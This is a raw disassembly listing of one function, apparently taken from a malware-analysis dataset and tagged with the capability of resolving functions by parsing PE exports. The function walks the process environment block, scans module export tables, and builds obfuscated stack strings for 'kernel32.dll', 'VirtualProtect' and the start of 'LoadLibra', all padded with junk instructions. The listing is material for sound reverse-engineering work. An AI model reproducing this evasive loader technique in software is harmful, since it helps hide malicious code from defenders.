Function at 0x44c07b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x44ad00
push esi
or esi, 0xb180
sub esi, 0x11f06
and esi, 0x11061
pop esi
push eax
push eax
add esp, 4
xor eax, 0x5b55
call 0x44aad8
add byte [esi], dh
cmp esi, dword [0x3f393a4e]
dec ecx
xor al, 0x83
les eax, [eax + ebx*2]
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
push edx
add esp, 4
add edi, 0x70e0
add edi, 0x9573
pop edi
push edi
call 0x44ab2b
add byte [esi], dh
cmp eax, 0x3a3e3d4d
inc ebx
cmp al, 0x42
add esp, 4
add edi, 0x9b4f
and edi, 0x155e2
pop edi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push ecx
push ebx
add esp, 4
or ecx, 0x580b
and ecx, 0xf421
pop ecx
push esi
jmp 0x44abb1
and esi, 0xf9be
call 0x44abc3
add byte [eax + 0x41], cl
aas
xor bh, byte [0x4c4834a]
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x44abea
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x44ac4d
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x44ab09
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x44ab09
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x44ac37
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x44ac41
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x44ac96
push eax
push edx
add esp, 4
sub eax, 0x6938
xor eax, 0xb97f
jmp 0x44ac6d
or eax, 0x1273
pop eax
push edx
xor edx, 0x15256
sub edx, 0x10cf
sub edx, 0x2122
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x44acfe
push eax
xor eax, 0xe90b
call 0x44acad
add byte [edi], dh
cmp al, byte [edx + 0x39]
cmp dword [eax + 0x50], edx
dec edx
dec ebp
dec ecx
add esp, 4
or eax, 0x2f45
and eax, 0x1312b
pop eax
push edi
push ebx
add esp, 4
jmp 0x44acc7
les eax, [ebx + ebp*8]
add ecx, dword [ebp + 0x45]
aas
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x44acf4
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x44aaaa
mov dword [ebp - 0x6ec], 0
push ebx
sub ebx, 0x125be
sub ebx, 0xf63d
pop ebx
push esi
add esi, 0xfae7
add esi, 0xfe8e
pop esi
push edx
sub edx, 0xf0a7
pop edx
push esi
xor esi, 0x6fdc
sub esi, 0x16db6
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x44ad7a
jmp 0x44acc0
push edx
xor edx, 0x200e
pop edx
push esi
push ebx
add esp, 4
xor esi, 0x9115
pop esi
push ebx
push ebx
add esp, 4
or ebx, 0xdd88
xor ebx, 0xc3f9
xor ebx, 0x131f0
xor ebx, 0xcf4d
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x44b8a1
push ecx
push ebx
add esp, 4
and ecx, 0x36bb
pop ecx
push edx
xor edx, 0x17173
xor edx, 0x16353
sub edx, 0x1780f
call 0x44ada8
add byte [ebp + 0x48], al
xor eax, 0x4a4d463e
cmp dh, byte [esi]
add esp, 4
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x44adeb
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x44b0dc
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x44ae13
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x44b0dc
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x44ae45
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x44b0dc
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x44ae6a
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x44b0dc
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x44aec4
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x44b0d0
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x44af34
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x44afe6
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x44afe6
push ecx
push edi
add esp, 4
and ecx, 0x10c94
pop ecx
push edx
add edx, 0x47b8
pop edx
push eax
push edx
add esp, 4
sub eax, 0x2c51
and eax, 0x8262
xor eax, 0xf382
add eax, 0x13925
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x44afd8
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x44afdf
jmp 0x44af25
jmp 0x44afe6
push esi
call 0x44aff5
add byte [edi + 0x44], cl
dec ebp
cmp byte [ebx + 0x49], cl
cmp edi, dword [eax]
add esp, 4
call 0x44b008
add byte [ecx + 0x4e], cl
xor eax, dword ss:[ebx + 0x48]
dec ecx
aaa
add esp, 4
sub esi, 0x184ca
jmp 0x44b017
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x44b045
mov dword [ebp - 0xc30], 0
jmp 0x44b0b4
push edx
add edx, 0x7e73
jmp 0x44b055
pop edx
push edx
push ebx
add esp, 4
and edx, 0xe7f6
and edx, 0x4ceb
call 0x44b073
add byte [eax], bh
inc eax
inc esp
cmp dword [ebp + 0x41], ecx
add esp, 4
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x44b0aa
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x44b0b4
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x44b0cb
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x44b0dc
jmp 0x44aeb5
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x44b1b7
push eax
push ecx
add esp, 4
xor eax, 0xbdf9
pop eax
push ebx
or ebx, 0xcbcb
jmp 0x44b104
pop ebx
push ebx
and ebx, 0x570b
and ebx, 0x119ed
pop ebx
push ecx
jmp 0x44b11a
pop ecx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
and edi, 0x12780
pop edi
push edi
or edi, 0xdd01
pop edi
push ecx
add ecx, 0x144a5
xor ecx, 0x17cb9
sub ecx, 0x96c0
or ecx, 0x809
pop ecx
push edi
sub edi, 0x3d74
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x44b1b7
push eax
push eax
add esp, 4
or eax, 0x11f47
and eax, 0xd35
and eax, 0x1c06
and eax, 0x10072
pop eax
push esi
push eax
add esp, 4
jmp 0x44b1a1
and esi, 0x15046
pop esi
mov dword [ebp - 0x738], 0
jmp 0x44b8a1
push ebx
push edx
add esp, 4
add ebx, 0x13df4
pop ebx
push edx
call 0x44b1d0
add byte [esi], bh
cmp cl, byte [ebx + ecx*2 + 0x4e]
dec edx
add esp, 4
or edx, 0x11422
xor edx, 0x15aae
jmp 0x44b1e8
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
or edx, 0xb573
xor edx, 0x153d
add edx, 0x13ecd
pop edx
push edi
call 0x44b232
add byte [edi], dh
cmp cl, byte [edx + 0x43]
cmp eax, dword [esi + 0x3c]
add esp, 4
add edi, 0x844b
or edi, 0x4830
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x44b25a
mov dword [ebp - 0x2e0], 0
jmp 0x44b501
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
add ebx, 0xda7a
call 0x44b283
add byte [ecx], bh
cmp eax, 0x393b3f4b
inc ecx
cmp byte [edi + 0x32], al
add esp, 4
jmp 0x44b28b
pop ebx
push edi
push esi
add esp, 4
add edi, 0xaa73
xor edi, 0x1560b
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x44b2b6
mov dword [ebp - 0x2e0], 0
jmp 0x44b501
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edi
call 0x44b2d0
add byte [edi + 0x3e], al
cmp byte ds:[ecx + 0x3a], cl
add esp, 4
pop edi
push edi
or edi, 0xdf20
pop edi
push edx
push esi
add esp, 4
and edx, 0x16117
xor edx, 0xea55
add edx, 0x662b
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
or ebx, 0x4068
xor ebx, 0x5bb3
or ebx, 0xb2d
pop ebx
push ebx
push ecx
add esp, 4
and ebx, 0x11d43
xor ebx, 0x38c0
add ebx, 0x123dc
and ebx, 0x15f76
pop ebx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
and edx, 0x1210b
xor edx, 0x1232b
sub edx, 0xae14
pop edx
push edx
push esi
add esp, 4
jmp 0x44b3c6
or edx, 0x68eb
xor edx, 0x151ca
or edx, 0x18bf
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x44b3f6
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x44b450
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x44b31e
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x44b31e
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x44b43a
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x44b444
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x44b499
push esi
push esi
add esp, 4
add esi, 0x9c6f
add esi, 0x14ba4
pop esi
push ebx
call 0x44b479
add byte [ebp + 0x50], al
xor bh, byte [0x83465038]
les eax, [ecx + eax*4]
enter 0x12d, 0
pop ebx
push edx
add edx, 0x13111
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x44b501
push esi
push esi
add esp, 4
add esi, 0x182e5
xor esi, 0x2373
and esi, 0x4e46
pop esi
push esi
or esi, 0x147f7
call 0x44b4c7
add byte [ebp + 0x4f], cl
dec ebp
xor al, 0x35
aas
xor esi, dword [edx]
add esp, 4
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x44b4f7
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x44b2c2
mov dword [ebp - 0x2e0], 0
push ebx
push edi
add esp, 4
and ebx, 0x97e9
and ebx, 0x1508e
and ebx, 0x14016
sub ebx, 0xc253
pop ebx
push edi
or edi, 0x903e
and edi, 0xbfb0
or edi, 0xd689
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
push edi
add esp, 4
sub esi, 0xddf3
pop esi
push edi
push edx
add esp, 4
sub edi, 0x1367a
sub edi, 0x15e85
or edi, 0x3fcf
or edi, 0x18030
pop edi
push ecx
xor ecx, 0x17b2a
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x44b5a4
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x44b895
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x44b5cc
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x44b895
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x44b5fe
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x44b895
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x44b623
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x44b895
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x44b67d
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x44b889
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x44b6ed
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x44b79f
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x44b79f
push esi
and esi, 0xec57
xor esi, 0x15a82
or esi, 0x135f0
pop esi
push edi
push eax
add esp, 4
and edi, 0x12ed2
and edi, 0x12623
pop edi
push edx
push eax
add esp, 4
xor edx, 0xcbfc
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x44b791
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x44b798
jmp 0x44b6de
jmp 0x44b79f
push ebx
push ecx
add esp, 4
jmp 0x44b7ab
sub ebx, 0x8e3e
jmp 0x44b7b7
pop ebx
push ecx
or ecx, 0x10039
call 0x44b7cd
add byte [ebx], dh
inc esi
dec edx
dec ecx
dec eax
cmp eax, 0xc4833736
add al, 0x59
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x44b7fe
mov dword [ebp - 0xc40], 0
jmp 0x44b86d
push esi
or esi, 0x9b5f
call 0x44b812
add byte [eax], bh
inc ebp
xor esi, dword [edi]
aaa
inc ecx
dec esi
add esp, 4
call 0x44b824
add byte [ebx], bh
xor al, 0x48
inc edx
inc edx
cmp byte [eax - 0x7d], cl
les eax, [esi + ebx*2]
push edx
and edx, 0x15562
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x44b863
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x44b86d
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x44b884
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x44b895
jmp 0x44b66e
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
add ebx, 0x10343
and ebx, 0x150ad
and ebx, 0xa4a1
pop ebx
push ecx
push esi
add esp, 4
jmp 0x44b8c0
call 0x44b8cf
add byte [ecx + 0x3f], cl
cmp eax, 0x4037404d
inc edi
dec ecx
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
and eax, 0x15d96
pop eax
push esi
and esi, 0x14c1a
sub esi, 0xad93
and esi, 0x9c00
jmp 0x44b905
pop esi
push eax
xor eax, 0x8322
jmp 0x44b913
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x44b926
cmp dword [ebp - 0xa5c], 0
jne 0x44b96c
push edi
xor edi, 0x5121
jmp 0x44b935
pop edi
push ebx
and ebx, 0x78b
jmp 0x44b945
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0xef67
xor ecx, 0x14b2c
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
push ecx
add esp, 4
add eax, 0x56a3
call 0x44b990
add byte [ecx + eax*2], bh
dec edx
inc esi
inc edx
cmp byte [ebx + eax*2 + 0x4c], al
add esp, 4
pop eax
push edx
xor edx, 0x323f
and edx, 0x64c5
add edx, 0xfef3
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ecx
add ecx, 0x4fb5
add ecx, 0xf694
call 0x44b9ee
add byte [ebp + 0x3b], al
dec esp
cmp byte [edi], dh
cmp al, 0x39
dec edi
add esp, 4
sub ecx, 0x16132
pop ecx
push esi
jmp 0x44b9fe
and esi, 0xd20a
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
and eax, 0x319f
or eax, 0xa684
pop eax
push edi
push ebx
add esp, 4
jmp 0x44ba87
call 0x44ba96
add byte [ebx + 0x3d], al
xor al, 0x39
inc esp
inc ebx
inc ebx
xor eax, 0x4c4834e
xor edi, 0x16f56
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
jmp 0x44bace
or ebx, 0x15c48
pop ebx
push ecx
push eax
add esp, 4
add ecx, 0x11f0d
or ecx, 0x7661
pop ecx
push edx
push edx
add esp, 4
sub edx, 0x5480
xor edx, 0x11fb5
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x44bb11
mov dword [ebp - 0x2a8], 0
jmp 0x44bdb8
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
xor esi, 0x64a
sub esi, 0x38b5
xor esi, 0x87b5
pop esi
push ecx
push edi
add esp, 4
sub ecx, 0x515e
or ecx, 0xa020
jmp 0x44bb4e
or ecx, 0xae22
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x44bb6d
mov dword [ebp - 0x2a8], 0
jmp 0x44bdb8
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
or ecx, 0xa231
call 0x44bb8d
add byte [ebx + 0x38], al
aas
dec edx
dec edx
add esp, 4
pop ecx
push esi
and esi, 0xf496
jmp 0x44bb9e
sub esi, 0xd89c
add esi, 0x8e19
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
push ebx
add esp, 4
or ebx, 0xa5e5
or ebx, 0x14f52
call 0x44bbf4
add byte [ebx + 0x45], cl
cmp eax, 0x4e3f4f35
add esp, 4
call 0x44bc03
add byte [ebx], dh
aaa
dec ecx
xor al, 0x46
add esp, 4
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push ecx
push ebx
add esp, 4
jmp 0x44bc6a
xor ecx, 0xe4db
sub ecx, 0xde7b
jmp 0x44bc7d
pop ecx
push eax
push ebx
add esp, 4
or eax, 0xd3a1
or eax, 0x9da3
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x44bcad
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x44bd07
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x44bbd5
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x44bbd5
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x44bcf1
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x44bcfb
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x44bd50
push edi
push edx
add esp, 4
and edi, 0x70c7
jmp 0x44bd22
add edi, 0x8bd1
pop edi
push ecx
call 0x44bd36
add byte [ebp + 0x37], al
dec edi
dec esp
cmp al, 0x50
add esp, 4
jmp 0x44bd41
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x44bdb8
push edi
push eax
add esp, 4
and edi, 0x8c51
or edi, 0x5761
sub edi, 0x154a6
or edi, 0xe9f8
pop edi
push esi
sub esi, 0x1154f
xor esi, 0xf5df
and esi, 0x3b9c
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x44bdae
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x44bb79
mov dword [ebp - 0x2a8], 0
push ebx
push ecx
add esp, 4
xor ebx, 0x214a
sub ebx, 0x100e1
add ebx, 0xf2bc
sub ebx, 0x1380a
pop ebx
push ecx
and ecx, 0x15ab6
add ecx, 0xe397
sub ecx, 0xcb4d
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x44c6ef
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
or edi, 0x4ce7
add edi, 0x13eb3
or edi, 0xf2ee
pop edi
push esi
push edi
add esp, 4
or esi, 0x14f16
xor esi, 0x29e7
and esi, 0xc2da
sub esi, 0x671e
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
